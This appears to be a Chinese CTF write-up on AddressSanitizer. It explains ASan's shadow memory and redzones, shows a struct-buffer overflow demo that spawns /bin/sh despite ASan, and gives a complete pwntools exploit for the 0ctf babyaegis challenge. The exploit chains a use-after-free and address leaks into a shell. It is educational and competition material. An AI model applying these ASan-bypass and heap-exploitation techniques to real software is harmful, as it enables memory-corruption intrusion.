About AddressSanitizer(ASan)
AddressSanitizer 后文均简称为ASan 是 Google 开源的一个用于进行内存检测的工具,包括但可能不限于 Heap buffer overflow, Stack buffer overflow, Global buffer overflow 等等。
在 wiki 中就举了了四个例子,分别是
Heap-use-after-free
Heap-buffer-overflow
Stack-buffer-overflow
Global-buffer-overflow
除了学术上的建树,这个工具也曾发现了不少漏洞,如在知名的 j00r 的blog 中提到的
关于 ASan 的核心实现在 wiki 也提到了,在我读了一些 paper 以及在 0ctf babyaegis 这个题目的调试也大概总结了一下:
ASan 算法实现 ASan 由两个主要部分构成,插桩和动态运行库( Run-time library ),插桩主要是针对在llvm编译器级别对访问内存的操作(store,load,alloca等),将它们进行处理。动态运行库主要提供一些运行时的复杂的功能(比如poison/unpoison shadow memory)以及将malloc,free等系统调用函数hook住。其实该算法的思路很简单,如果想防住Buffer Overflow漏洞,只需要在每块内存区域右端(或两端,能防overflow和underflow)加一块区域(RedZone),使RedZone的区域的影子内存(Shadow Memory)设置为不可写即可。
+——————-+ | redzone | +——————-+ | mem | +——————-+ | redzone | +——————-+ | mem | +——————-+ | redzone | +——————-+
内存映射 AddressSanitizer保护的主要原理是对程序中的虚拟内存提供粗粒度的影子内存(没8个字节的内存对应一个字节的影子内存),为了减少overhead,就采用了直接内存映射策略,所采用的具体策略如下:Shadow=(Mem >> 3) + offset。每8个字节的内存对应一个字节的影子内存,影子内存中每个字节存取一个数字k,如果k=0,则表示该影子内存对应的8个字节的内存都能访问。 如果k在0到7之间,表示前k个字节可以访问,如果k为负数,不同的数字表示不同的错误(e.g. Stack buffer overflow, Heap buffer overflow)。具体的映射策略如下图所示。
64位 1 Shadow = (Mem >> 3) + 0x7fff8000;
[0x10007fff8000, 0x7fffffffffff]
HighMem
[0x02008fff7000, 0x10007fff7fff]
HighShadow
[0x00008fff7000, 0x02008fff6fff]
ShadowGap
[0x00007fff8000, 0x00008fff6fff]
LowShadow
[0x000000000000, 0x00007fff7fff]
LowMem
32位 1 Shadow = (Mem >> 3) + 0x20000000;
[0x40000000, 0xffffffff]
HighMem
[0x28000000, 0x3fffffff]
HighShadow
[0x24000000, 0x27ffffff]
ShadowGap
[0x20000000, 0x23ffffff]
LowShadow
[0x00000000, 0x1fffffff]
LowMem
Bypassing AddressSanitizer 显而易见的是,ASan 的检查很大一部分是基于影子内存中,此时影子内存的flag值。假设如果全段影子内存的 flag 全为0,我们就可以完全无视掉ASan,而0ctf 的 babyaegis,正是给了一个写0的机会,给了我们一次对一个指针再次读写的机会。
此外还有几种方法,比如
Adjacent Buffers in the Same Struct/Class 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ cat test1.c #include <stdio.h> #include <stdlib.h> class Test {public :Test(){ command[0 ] = 'l' ; command[1 ] = 's' ; command[2 ] = '\0' ; } void a () { scanf ("%s" , buffer); system(command); } private :char buffer[10 ];char command[10 ];}; int main () { Test aTest = Test(); aTest.a(); }
1 2 3 4 5 6 7 8 9 10 $ g++ -O -g -fsanitize=address test1.c clang: warning: treating 'c' input as 'c++' when in C++ mode, this behavior is deprecated [-Wdeprecated] $ ./a.out aaaaaaaaaa/bin/sh; sh-3.2$ id uid=501(swing) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled) sh-3.2$
剩下见 PDF: https://dl.packetstormsecurity.net/papers/general/BreakingAddressSanitizer.pdf
0ctf babyaegis 题目分析 1 2 3 4 5 6 7 8 9 10 root@linuxkit-025000000001 /pwn [*] '/pwn/aegis' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled ASAN: Enabled UBSAN: Enabled
开了 ASan
影子内存位置: mem >> 3) + 0x7FFF8000LL
漏洞点 在update中:
在delete中
存在uaf
此外,存在一个后门函数为:secret函数
思路 可以先置checker为0使得我们可以进行一个堆溢出改size值为0,接下来在做一次更改,这次可以溢出更多,改size为更大的值。然后rm了这个堆块再malloc出来就可以造成一个uaf的效果。接着利用uaf的指针泄漏各种program base 和libc base什么的东西。然后利用指针去改写bss段上的值导致__sanitizer::Die()函数内部call rax 调用我们想调用的函数。这里本来是想调用onegadget,但是不明确也没深究为什么onegadget没起作用。之后此处改写为gets控制程序流然后构成栈溢出覆盖ret为onegadget接着就getshell了
Exploit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import *debug=1 context.terminal = ['notiterm' , '-t' , 'iterm' ,'-e' ] if debug: p = process('./aegis' ) else : p=remote('111.186.63.209' ,6666 ) def get (x ): return p.recvuntil(x) def pu (x ): p.send(x) def pu_enter (x ): p.sendline(x) def add (sz,content,id ): pu_enter('1' ) get('Size' ) pu_enter(str (sz)) get('Content' ) pu(content) get('ID' ) pu_enter(str (id )) get('Choice: ' ) def show (idx ): pu_enter('2' ) get('Index' ) pu_enter(str (idx)) def update (idx,content,id ): pu_enter('3' ) get('Index' ) pu_enter(str (idx)) get('Content: ' ) pu(content) get('New ID:' ) pu_enter(str (id )) get('Choice:' ) def delete (idx ): pu_enter('4' ) get('Index' ) pu_enter(str (idx)) get('Choice:' ) def secret (addr ): pu_enter('666' ) get('Lucky Number: ' ) pu_enter(str (addr)) get('Choice:' ) add(0x10 ,'a' *8 ,0x123456789abcdef ) for i in range (4 ): add(0x10 ,'b' *0x8 ,123 ) secret(0xc047fff8008 -4 ) update(0 ,'\x02' *0x12 ,0x123456789 ) update(0 ,'\x02' *0x10 +p64(0x02ffffff00000002 )[:7 ],0x01f000ff1002ff ) delete(0 ) add(0x10 ,p64(0x602000000018 ),0 ) show(0 ) get('Content: ' ) addr = u64(get('\n' )[:-1 ]+'\x00\x00' ) print addrpbase = addr -0x114AB0 get('Choice: ' ) update(5 ,p64(pbase+0x347DF0 )[:2 ],(pbase+0x347DF0 )>>8 ) show(0 ) get('Content: ' ) addr = u64(get('\n' )[:-1 ]+'\x00\x00' ) base = addr -0xE4FA0 get('Choice: ' ) update(5 ,p64(pbase+0x0FB08A0 ),p64(pbase+0x7AE140 )) raw_input("aa" ) pu_enter('3' ) get('Index' ) pu_enter('0' ) get('Content' ) pu(p64(base+524464 )[:7 ]) raw_input("#get" +str (hex (pbase+0x7AE140 ))) payload = 'a' *471 +p64(base+0x4f322 )+'\x00' *0x100 pu_enter(payload) p.interactive()
参考链接 github-AddressSanitizer
AddressSanitizer: A Fast Address Sanity Checker
AddressSanitizer算法及源码解析
Bypassing AddressSanitizer